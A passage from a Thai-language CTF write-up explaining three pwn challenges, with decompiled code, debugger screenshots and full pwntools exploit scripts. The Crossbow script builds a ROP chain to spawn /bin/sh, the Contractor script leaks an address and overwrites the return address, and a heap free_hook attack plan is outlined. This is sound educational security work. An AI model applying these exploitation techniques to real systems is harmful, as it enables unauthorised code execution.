    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: We do not want cowards here!!\n\n"</span>,&amp;DAT_0040b4e4,&amp;DAT_0040b00e,
           &amp;DAT_0040b4e4);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x1b39</span>);
  }
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Give me your best warcry!!\n\n&gt; "</span>,&amp;DAT_0040b4a8,&amp;DAT_0040b00e,
         &amp;DAT_0040b4a8);
  pcVar2 = fgets_unlocked((<span class="hljs-keyword">char</span> *)target_arg[(<span class="hljs-keyword">int</span>)idx_],<span class="hljs-number">0x80</span>,(FILE *)__stdin_FILE);
  <span class="hljs-keyword">if</span> (pcVar2 == (<span class="hljs-keyword">char</span> *)<span class="hljs-number">0x0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Is this the best you have?!\n\n"</span>,&amp;DAT_0040b4e4,&amp;DAT_0040b00e,
           &amp;DAT_0040b4e4);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x45</span>);
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<details><summary>เฉลย</summary><div data-type="detailsContent">บัคคือ out-of-bound write ที่เราสามารถใส่ idx เป็นค่าอะไรก็ได้นั่นเอง</div></details>

<p>จาก code จะเห็นตรง ๆ เลยว่าเรารับ idx เข้ามาเป็น int และไม่ได้มีการ validate ใด ๆ เลยแปรว่าเราจะใส่ค่าติดลบหรือใหญ่กว่า target_arg ก็ได้</p>
<pre><code class="lang-c"> iVar1 = <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%d%*c"</span>,&amp;idx_);
  <span class="hljs-keyword">if</span> (iVar1 != <span class="hljs-number">1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n"</span>,
           &amp;DAT_0040b4e4,&amp;DAT_0040b00e,&amp;DAT_0040b4e4);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
  }
  idx = (<span class="hljs-keyword">long</span>)(<span class="hljs-keyword">int</span>)idx_;
  buf = <span class="hljs-built_in">calloc</span>(<span class="hljs-number">1</span>,<span class="hljs-number">0x80</span>);
  target_arg[idx] = (<span class="hljs-keyword">long</span>)buf; <span class="hljs-comment">// [1] OOB write</span>
</code></pre>
<p>คำถามคือจะเขียนตรงไหนดี จริง ๆ จุดนี้เป็น common mistake ที่ชอบพลาดผมเองก็เป็นบ่อย คือชอบ Focus ไปที่การทับ <code>saved rip</code> เพื่อ hijack control flow เลยอาจมองพลาดไป</p>
<p>ข้อนี้เราไม่สามารถทับ <code>saved rip</code> ได้ตรง ๆ เพราะจะเห็นว่าค่าที่เราไปทับเป็น <code>ptr</code> ของ <code>buf</code> ไม่ใช่ค่า <code>buf</code> ที่เราเขียนไว้ [1] และข้อนี้ก็เปิด NX Protection ทำให้ไม่สามารถ execute shellcode ใน <code>buf</code> ได้</p>
<p>ถ้างั้นเราไปเขียนที่ไหนดีละ?</p>
<p>คำตอบคือเราจะไปเขียนที่ <code>saved rbp</code> เมื่อโปรแกรมถึง instruction <code>leave</code> ก็จะเอา ptr ของ <code>buf</code> เราไปเป็น <code>rsp</code> ของ function ก่อนหน้าและเมื่อ <code>ret</code> อีกรอบก็จะกลับที่ <code>buf</code> ของเราที่เรา control ได้ซึ่งเราสามารถใส่ payload ได้ที่ตรงนี้</p>
<p>ถ้าเราซูมเข้าไปดูที่ assembly ตอนที่ set ค่า <code>target_arg[idx]=buf</code> จะได้หน้าตาประมาณนี้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743524547076/8cbff339-5e8c-428a-adfc-d063908a0f7f.png" alt class="image--center mx-auto" /></p>
<p><code>rax=0x7ffca85a78a0</code> ← target_arg[0] —&gt; Stack address<br /><code>rdx=0xffffffffffffff00</code> ← idx (8*-2)</p>
<p>ซึ่งในเคสนี้เราจะเขียนทับที่ตำแหน่ง target_arg[-2] เหมือนที่โชว์ในวงสีแดง (ส่วน target_arg[0] จะเป็นวงสีเขียว)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743524831323/c6ed373e-6179-4ce2-82bc-0b0e5442dd4e.png" alt class="image--center mx-auto" /></p>
<p>เมื่อเรา execute <code>leave</code> ใน function target_dummy จะเห็นว่า <code>rbp</code> เราชี้ไปที่ตำแหน่งที่เรา control ค่าได้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743524958562/48e82ebb-a756-495a-a811-d51e86ced7a0.png" alt class="image--center mx-auto" /></p>
<p>และเมื่อเรา execute <code>leave</code> ใน function training จะเห็นว่าเราสามารถ pivot stack ไปที่ heap ของเราและ Hijack control flow ผ่านการทำ ROP ได้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743525051528/ff74ecc3-c25b-426f-9c3c-9660cfe0fcc5.png" alt class="image--center mx-auto" /></p>
<p>ข้อนี้ก็สามารถ Solve ได้ง่าย ๆ ด้วยการทำ rop ไป execve /bin/sh ก็ได้</p>
<p><strong>Full Exploit</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

exe = ELF(<span class="hljs-string">"crossbow"</span>)

context.binary = exe
context.log_level = <span class="hljs-string">"DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]


<span class="hljs-comment"># Shortcut</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl           = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"""
                   b *target_dummy+354
                   b *target_dummy+176
                   b *0x040126f
                   """</span>)
    <span class="hljs-keyword">else</span>:
        p = remote(<span class="hljs-string">"X"</span>, <span class="hljs-number">1</span>)

    <span class="hljs-keyword">return</span> p

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_rop</span>():</span>
    <span class="hljs-string">"""
     ropper -f crossbow --chain "execve cmd=/bin/sh"
    """</span>
    IMAGE_BASE_0 = <span class="hljs-number">0x0000000000400000</span> <span class="hljs-comment"># 7bf5f772c59b6cc7854de1212fa8c99ec9bf25e33a4b0cd6c251200852dd2c2b</span>
    rebase_0 = <span class="hljs-keyword">lambda</span> x : p64(x + IMAGE_BASE_0)

    rop = <span class="hljs-string">b''</span>

    rop += rebase_0(<span class="hljs-number">0x0000000000001001</span>) <span class="hljs-comment"># 0x0000000000401001: pop rax; ret;</span>
    rop += <span class="hljs-string">b'/bin/sh\x00'</span>
    rop += rebase_0(<span class="hljs-number">0x0000000000001d6c</span>) <span class="hljs-comment"># 0x0000000000401d6c: pop rdi; ret;</span>
    rop += rebase_0(<span class="hljs-number">0x000000000000e000</span>)
    rop += rebase_0(<span class="hljs-number">0x00000000000020f5</span>) <span class="hljs-comment"># 0x00000000004020f5: mov qword ptr [rdi], rax; ret;</span>
    rop += rebase_0(<span class="hljs-number">0x0000000000001001</span>) <span class="hljs-comment"># 0x0000000000401001: pop rax; ret;</span>
    rop += p64(<span class="hljs-number">0x000000000000003b</span>)
    rop += rebase_0(<span class="hljs-number">0x000000000000566b</span>) <span class="hljs-comment"># 0x000000000040566b: pop rsi; ret;</span>
    rop += rebase_0(<span class="hljs-number">0x000000000000e010</span>)
    rop += rebase_0(<span class="hljs-number">0x0000000000001139</span>) <span class="hljs-comment"># 0x0000000000401139: pop rdx; ret;</span>
    rop += rebase_0(<span class="hljs-number">0x000000000000e010</span>)
    rop += rebase_0(<span class="hljs-number">0x0000000000004b51</span>) <span class="hljs-comment"># 0x0000000000404b51: syscall; ret;</span>
    <span class="hljs-comment"># print(rop)</span>
    <span class="hljs-keyword">return</span> rop

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()
    <span class="hljs-comment"># rop syscall execve</span>

    <span class="hljs-comment"># good luck pwning :)</span>
    sla(<span class="hljs-string">b"shoot:"</span>, <span class="hljs-string">b"-2"</span>)
    buf = flat({<span class="hljs-number">8</span>:get_rop()})
    sla(<span class="hljs-string">b"&gt;"</span>, buf)
    p.interactive()


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<hr />
<h2 id="heading-pwn-contractor-medium">Pwn - Contractor - Medium</h2>
<p><strong>Binary Security:</strong></p>
<pre><code class="lang-plaintext">    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
</code></pre>
<p>ข้อนี้แอบยาวถ้าให้แคปโปรแกรมมาเต็ม ๆ หน้าตา Program เป็นแบบนี้ หลัก ๆ ให้ใส่ name, reason, age, specialty และจะมี print ข้อมูลทั้งหมดออกมารอบนึง</p>
<p>Struct ที่เก็บข้อมูลหน้าตาประมาณนี้</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Offset</strong></td><td><strong>Type</strong></td><td><strong>Name</strong></td></tr>
</thead>
<tbody>
<tr>
<td>0x0</td><td>char[16]</td><td>name</td></tr>
<tr>
<td>0x10</td><td>char[256]</td><td>reason</td></tr>
<tr>
<td>0x110</td><td>long</td><td>age</td></tr>
<tr>
<td>0x118</td><td>char[16]</td><td>specialty</td></tr>
</tbody>
</table>
</div><p>ก่อนจะให้แก้ข้อมูลบางตัวที่ต้องการแก้โดยที่ไม่ print อีกรอบแล้วจึงจบการทำงาน</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743525594270/91c00b83-0469-4955-bf13-6f470ad37162.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-information-disclosure-leak-binary-address"><strong>บัคแรก: Information Disclosure → Leak Binary Address</strong></h3>
<p>จาก struct ด้านบนเราจะเห็นว่า <code>contractor→specialty</code> มีความยาว 0×10 byte และรับค่ามาที่ละ 1 Byte แล้วเอาไปเขียนลง Stack ดูเผิน ๆ อาจจะมองไม่เห็นว่าบัคอยู่ตรงไหน มันก็รับ แค่ 0×10 ตัวเหมือนกันหนิ</p>
<pre><code class="lang-c">
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n[%sSir Alaric%s]: You sound mature and experienced! One last thing, you have a certain s pecialty in combat?\n\n&gt; "</span>
         ,&amp;DAT_0010203e,&amp;DAT_00102008);
  <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0x10</span>; i = i + <span class="hljs-number">1</span>) {
    *(undefined8 *)((<span class="hljs-keyword">long</span>)piVar5 + <span class="hljs-number">-0x138</span>) = <span class="hljs-number">0x10167f</span>;
    read(<span class="hljs-number">0</span>,&amp;safe_buffer,<span class="hljs-number">1</span>);
    <span class="hljs-keyword">if</span> (safe_buffer == <span class="hljs-string">'\n'</span>) <span class="hljs-keyword">break</span>;
    contractor-&gt;specialty[(<span class="hljs-keyword">int</span>)i] = safe_buffer;
  }
</code></pre>
<p>ถ้าเราจะไปดูที่ Stack ตอน Debug จะเห็นว่า Stack หน้าตาแบบนี้ครับ นั่นแน่ จะเห็นว่ามี address ที่ติดอยู่กับ <code>contractor→specialty</code> ทำให้ตอนที่เรา printf จะสามารถ leak ค่า address ของ binary มาได้ซึ่งเราเอาไปคำนวนหา base address แล้วจะไปคำนวนหา function ไหนก็ได้แล้ว</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743526414254/94ca44c7-303c-4946-81b2-e9a8996bbb42.png" alt class="image--center mx-auto" /></p>
<p>โดยเฉพาะโปรแกรมนี้มี primitive function มาด้วยทำให้เรา hijack control flow ไปที่ function contract ก็จะได้ shell เบย</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">contract</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">long</span> lVar1;
  <span class="hljs-keyword">long</span> in_FS_OFFSET;

  lVar1 = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  execl(<span class="hljs-string">"/bin/sh"</span>,<span class="hljs-string">"sh"</span>,<span class="hljs-number">0</span>);
  <span class="hljs-keyword">if</span> (lVar1 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<h3 id="heading-buffer-overflow-edit-specialty"><strong>บัคสอง: Buffer Overflow ตอน edit specialty</strong></h3>
<p>อันนี้อ่านโค้ดด้านล่างก็จะเห็นแล้วว่ามันรับค่ามาใหญ่กว่า size ของ <code>contract→specialty</code> จากที่เห็นในตำแหน่งที่ [1]</p>
<pre><code class="lang-c">    <span class="hljs-keyword">if</span> (local_28 == <span class="hljs-number">4</span>) {
      *(undefined8 *)((<span class="hljs-keyword">long</span>)piVar5 + <span class="hljs-number">-0x138</span>) = <span class="hljs-number">0x101931</span>;
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n%s[%sSir Alaric%s]: And what are you good at: "</span>,&amp;DAT_00102008,&amp;DAT_0010203e,
             &amp;DAT_00102008);
      <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0x100</span>; i = i + <span class="hljs-number">1</span>) { <span class="hljs-comment">// [1] 0x100 ????</span>
        *(undefined8 *)((<span class="hljs-keyword">long</span>)piVar5 + <span class="hljs-number">-0x138</span>) = <span class="hljs-number">0x101953</span>;
        read(<span class="hljs-number">0</span>,&amp;safe_buffer,<span class="hljs-number">1</span>);
        <span class="hljs-keyword">if</span> (safe_buffer == <span class="hljs-string">'\n'</span>) <span class="hljs-keyword">break</span>;
        contractor-&gt;specialty[(<span class="hljs-keyword">int</span>)i] = safe_buffer;
      }
      local_24 = local_24 + <span class="hljs-number">1</span>;
    }
</code></pre>
<p>พอเราเอา 2 บัคมา Chain กันเราก็สามารถ Bypass PIE (จากการ leak address) และ Overflow เอา <code>contract</code> ไปทับ <code>saved rip</code> ก็จบแล้ว GGEZ</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p><img src="https://i.imgflip.com/9pdmta.jpg" alt class="image--center mx-auto" /></p>
<p>ลืมว่ามี Stack Canary🤦‍♂️🤦‍♂️🤦‍♂️</p>
<p>ข้อนี้เสียเวลาอยู่นานมากกับการหาวิธี Leak Stack Canary จนข้ามไปทำอีกข้อก่อนค่อยกลับมาทำ ข้อนี้ที่พลาดคือ Focus ไปที่การหาวิธี leak canary จนลืมไปว่าจริง ๆ เราสามารถใช้วิธีอื่น Bypass ได้หนิ ไม่จำเป็นต้อง Leak</p>
<h3 id="heading-4liv4lix4lmj4lih4liq4liv4li0">ตั้งสติ</h3>
<p>หลังจากตั้งสติได้แล้วลองกลับมา debug ดูช้า ๆ โดยการใส่ Payload ของ <code>contractor→specialty</code> เป็น <code>AAAAAAAABBBBBBBBCCCCCCCDDDDDDDD\x2f</code></p>
<p>เมื่อเราใส่ไปจนถึงตัวที่ 32 ตัวต่อไปจะเป็น <code>\x2f</code> จะเห็นว่า <code>mov byte ptr [rdx + rax + 0x118], cl</code> จะทำการเขียนค่า <code>\x2f</code> ลงไปที่ตำแหน่ง <code>0x7fffffffc248</code> ซึ่งมีค่าเป็น <code>0x7fffffffc110</code> ถามว่าแล้วไงต่อ ก็แค่ทับ address อีกตัวหนิ</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743527675012/de479694-3ecc-4fa6-88e4-2d9d6048ddc4.png" alt class="image--center mx-auto" /></p>
<p>จริง ๆ แล้วไม่แค่ เพราะ <code>0x7fffffffc110</code> ptr ของ <code>contractor</code> ทำให้ครั้งต่อไปที่โปรแกรมทำการ Loop มาเขียนในรอบที่ 34 จะทำให้การคำนวนตำแหน่งที่เขียนเปลี่ยนไปทำให้เราสามารถ write ข้าม canary ไปทับ <code>saved rip</code> ได้ งี้ก็ GGEZ ดิครัฟ rop ก็ไม่ต้อง craft หวดเข้า <code>contract</code> ได้เลย</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743528326744/e133ff2d-f313-4285-869d-801c91c49562.png" alt class="image--center mx-auto" /></p>
<p><strong>Full Exploit? มันมี ASLR ลองหลายทีหน่อยเดี้ยวก็ได้เอง lol</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

exe = ELF(<span class="hljs-string">"contractor"</span>)

context.binary = exe
<span class="hljs-comment"># context.log_level = "DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]


<span class="hljs-comment"># Shortcut</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl           = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"""
                   b *main+1309
                   b *main+1666
                   """</span>)
    <span class="hljs-keyword">else</span>:
        p = remote(<span class="hljs-string">"X"</span>, <span class="hljs-number">1</span>)

    <span class="hljs-keyword">return</span> p


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()

    <span class="hljs-comment"># good luck pwning :)</span>
    <span class="hljs-comment"># name</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b""</span>)
    <span class="hljs-comment"># reason</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b""</span>)
    <span class="hljs-comment"># age</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"-"</span>)
    <span class="hljs-comment"># speacailty</span>
    sa(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"X"</span>*<span class="hljs-number">0x10</span>) 

    <span class="hljs-comment"># leak addr</span>
    ru(<span class="hljs-string">b"XXXXXXXXXXXXXXXX"</span>)
    leak = rl().strip().ljust(<span class="hljs-number">8</span>, <span class="hljs-string">b"\x00"</span>)
    leak = u64(leak)
    exe.address = leak - <span class="hljs-number">6992</span>
    print(<span class="hljs-string">f"Leaked addr: <span class="hljs-subst">{hex(leak)}</span>"</span>)
    print(<span class="hljs-string">f"Base addr: <span class="hljs-subst">{hex(exe.address)}</span>"</span>)
    print(<span class="hljs-string">f"contract addr: <span class="hljs-subst">{hex(exe.sym[<span class="hljs-string">"contract"</span>])}</span>"</span>)

    <span class="hljs-comment"># overflow</span>
    buf = <span class="hljs-string">b"A"</span>*<span class="hljs-number">0x8</span>
    buf += <span class="hljs-string">b"B"</span>*<span class="hljs-number">0x8</span>
    buf += <span class="hljs-string">b"C"</span>*<span class="hljs-number">0x8</span>
    buf += <span class="hljs-string">b"D"</span>*<span class="hljs-number">0x8</span>
    buf += bytes([<span class="hljs-number">0x2f</span>])
    buf += p64(exe.sym[<span class="hljs-string">"contract"</span>])
    ru(<span class="hljs-string">b"correct"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"4"</span>)
    sla(<span class="hljs-string">b"at: "</span>, buf)
    p.interactive()

main()
</code></pre>
<hr />
<h2 id="heading-pwn-strategist-medium">Pwn - Strategist - Medium</h2>
<p><strong>Binary Security:</strong></p>
<pre><code class="lang-python">    Arch:       amd64<span class="hljs-number">-64</span>-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    <span class="hljs-string">b'./glibc/'</span>
    Stripped:   No
</code></pre>
<p>ข้อนี้เป็น heap exploitation โดยเป็น heap overflow ที่เราเรียกกันว่า off by one โดยที่เรา overflow ไปทับได้แค่ 1 byte ซึ่งนั่นถือว่าเกินพอแล้วในการทำ heap exploitation</p>
<p>ข้อนี้ติดเพราะง่าวจำ alignment ของ heap ผิดเลยงงว่าจะ overflow ยังไง เข้าใจว่า heap ของ Libc บน x86-64 จะมี alignment คือต้องหาร 0×10 ลงตัวเสมอ เลยงงอยู่นานว่าจะ overflow ยังไง เพราะ allocate size ไหนก็มี padding (โง่ 5555)</p>
<p>ความจริงคือมัน alignment คือต้องหาร 0×8 ลงตัวจะทำให้ byte สุดท้ายของ chunk ไปติดกับ metadata ของ next chunk</p>
<p>มาดูโปรแกรมกันเบยหน้าตาหลัก ๆ จะมี 4 function เป็น heap note style ที่เรารัก lol</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743529133004/9dae4238-71a8-49a2-8094-78ee8aecf8a5.png" alt class="image--center mx-auto" /></p>
<p>จะเห็นว่า <code>create_plan</code> ทำงานปกติไม่มีเขียนเกินสักตัว</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">create_plan</span><span class="hljs-params">(<span class="hljs-keyword">long</span> *plan_arr)</span>

</span>{
  <span class="hljs-keyword">long</span> in_FS_OFFSET;
  <span class="hljs-keyword">int</span> size;
  <span class="hljs-keyword">int</span> iStack_1c;
  <span class="hljs-keyword">long</span> *buf;
  <span class="hljs-keyword">long</span> local_10;

  local_10 = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  iStack_1c = check(plan_arr);
  <span class="hljs-keyword">if</span> (iStack_1c == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Don\'t go above your head kiddo!\n\n"</span>,&amp;DAT_001013f0,&amp;DAT_00101413,
           &amp;DAT_001013f0);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
  }
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: How long will be your plan?\n\n&gt; "</span>,&amp;DAT_001013e8,&amp;DAT_00101413,
         &amp;DAT_001013e8);
  size = <span class="hljs-number">0</span>;
  __isoc99_scanf(&amp;DAT_001025b5,&amp;size);
  buf = (<span class="hljs-keyword">long</span> *)<span class="hljs-built_in">malloc</span>((<span class="hljs-keyword">long</span>)size);
  <span class="hljs-keyword">if</span> (buf == (<span class="hljs-keyword">long</span> *)<span class="hljs-number">0x0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: This plan will be a grand failure!\n\n"</span>,&amp;DAT_001013f0,
           &amp;DAT_00101413,&amp;DAT_001013f0);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
  }
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Please elaborate on your plan.\n\n&gt; "</span>,&amp;DAT_001013e8,&amp;DAT_00101413,
         &amp;DAT_001013e8);
                    <span class="hljs-comment">/* input null byte */</span>
  read(<span class="hljs-number">0</span>,buf,(<span class="hljs-keyword">long</span>)size);
  plan_arr[iStack_1c] = (<span class="hljs-keyword">long</span>)buf;
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: The plan might work, we\'ll keep it in mind.\n\n"</span>,&amp;DAT_00102630,
         &amp;DAT_00101413,&amp;DAT_00102630);
  <span class="hljs-keyword">if</span> (local_10 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>แต่ function นี้มีกลิ่น lol จะเห็นว่ามันใช้ strlen ซึ่งจะไปนับรวมกับ metadata ที่ next chunk ด้วยทำให้เราแก้ไข metadata ของ next chunk ได้ ggez หวานครับข้อนี้</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">edit_plan</span><span class="hljs-params">(<span class="hljs-keyword">long</span> *plan_arr)</span>

</span>{
  <span class="hljs-keyword">size_t</span> __nbytes;
  <span class="hljs-keyword">long</span> in_FS_OFFSET;
  <span class="hljs-keyword">int</span> idx;
  <span class="hljs-keyword">long</span> local_10;

  local_10 = *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Which plan you want to change?\n\n&gt; "</span>,&amp;DAT_001013e8,&amp;DAT_00101413,
         &amp;DAT_001013e8);
  idx = <span class="hljs-number">0</span>;
  __isoc99_scanf(&amp;DAT_001025b5,&amp;idx);
  <span class="hljs-keyword">if</span> (((<span class="hljs-number">-1</span> &lt; idx) &amp;&amp; (idx &lt; <span class="hljs-number">100</span>)) &amp;&amp; (plan_arr[idx] != <span class="hljs-number">0</span>)) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n&gt; "</span>,&amp;DAT_001013e8,
           &amp;DAT_00101413,&amp;DAT_001013e8);
    __nbytes = <span class="hljs-built_in">strlen</span>((<span class="hljs-keyword">char</span> *)plan_arr[idx]); <span class="hljs-comment">// [1] len include next chunk metadata</span>
    read(<span class="hljs-number">0</span>,(<span class="hljs-keyword">void</span> *)plan_arr[idx],__nbytes);   <span class="hljs-comment">// [2] overwrite it ggez</span>
    <span class="hljs-built_in">putchar</span>(<span class="hljs-number">10</span>);
    <span class="hljs-keyword">if</span> (local_10 != *(<span class="hljs-keyword">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>)) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
      __stack_chk_fail();
    }
    <span class="hljs-keyword">return</span>;
  }
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n[%sSir Alaric%s]: There is no such plan!\n\n"</span>,&amp;DAT_001013f0,&amp;DAT_00101413,
         &amp;DAT_001013f0);
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
  <span class="hljs-built_in">exit</span>(<span class="hljs-number">0x520</span>);
}
</code></pre>
<p>ที่เหลือเป็น delete ที่ทำการ free กับ show ผมขอข้ามนะ ไม่ได้มีอะไรส่งผลกับการหวด</p>
<p>แต่ก่อนจะไปเริ่มหวดกันเราควรรู้เวอร์ชันของ Libc ก่อนเพื่อที่จะได้วางแผนในการหวดได้ว่ามีข้อจำกัดอะไร หวดท่าไหนได้บ้าง</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743528795906/e29198c5-2676-47a8-909c-96051837aa7f.png" alt class="image--center mx-auto" /></p>
<p>ซึ่งพบว่า libc ของโจทย์เวอร์ชัน 2.27 อห อย่างเก่าเกิดก่อนกูอีกมั้ง แถมเวอร์ชันนี้มี <code>free_hook</code> อีกไม่ต้องหา primitive ให้วุ่นวาย</p>
<h3 id="heading-exploitation-strategy">Exploitation Strategy</h3>
<ol>
<li><p>Leak Libc จาก unsorted bin</p>
</li>
<li><p>ใช้ <code>create_plan</code>สร้าง attack chunk และ victim chunk 1 และ 2</p>
</li>
<li><p>ใช้ <code>delete_plan</code> free victim chunk 1 และ 2</p>
</li>
<li><p>ใช้ <code>edit_plan</code> attack chunk ไปทับ victim chunk 1 size ใน metadata เป็น sizeof(victim1)+sizeof(victim2)</p>
</li>
<li><p>ใช้ <code>create_plan</code>สร้าง new chunk ที่มี size เป็น sizeof(victim1)+sizeof(victim2)-8 โดยไปทับค่า tcache ptr ใน victim chunk 2 ด้วยค่าของ <code>free_hook</code></p>
</li>
<li><p>ใช้ <code>create_plan</code> สร้าง new chunk เพื่อไปเขียนค่า <code>system</code> ลงที่ <code>free_hook</code></p>
</li>
<li><p>ใช้ <code>create_plan</code> สร้าง new chunk โดยใส่ value เป็น <code>/bin/sh</code></p>
</li>
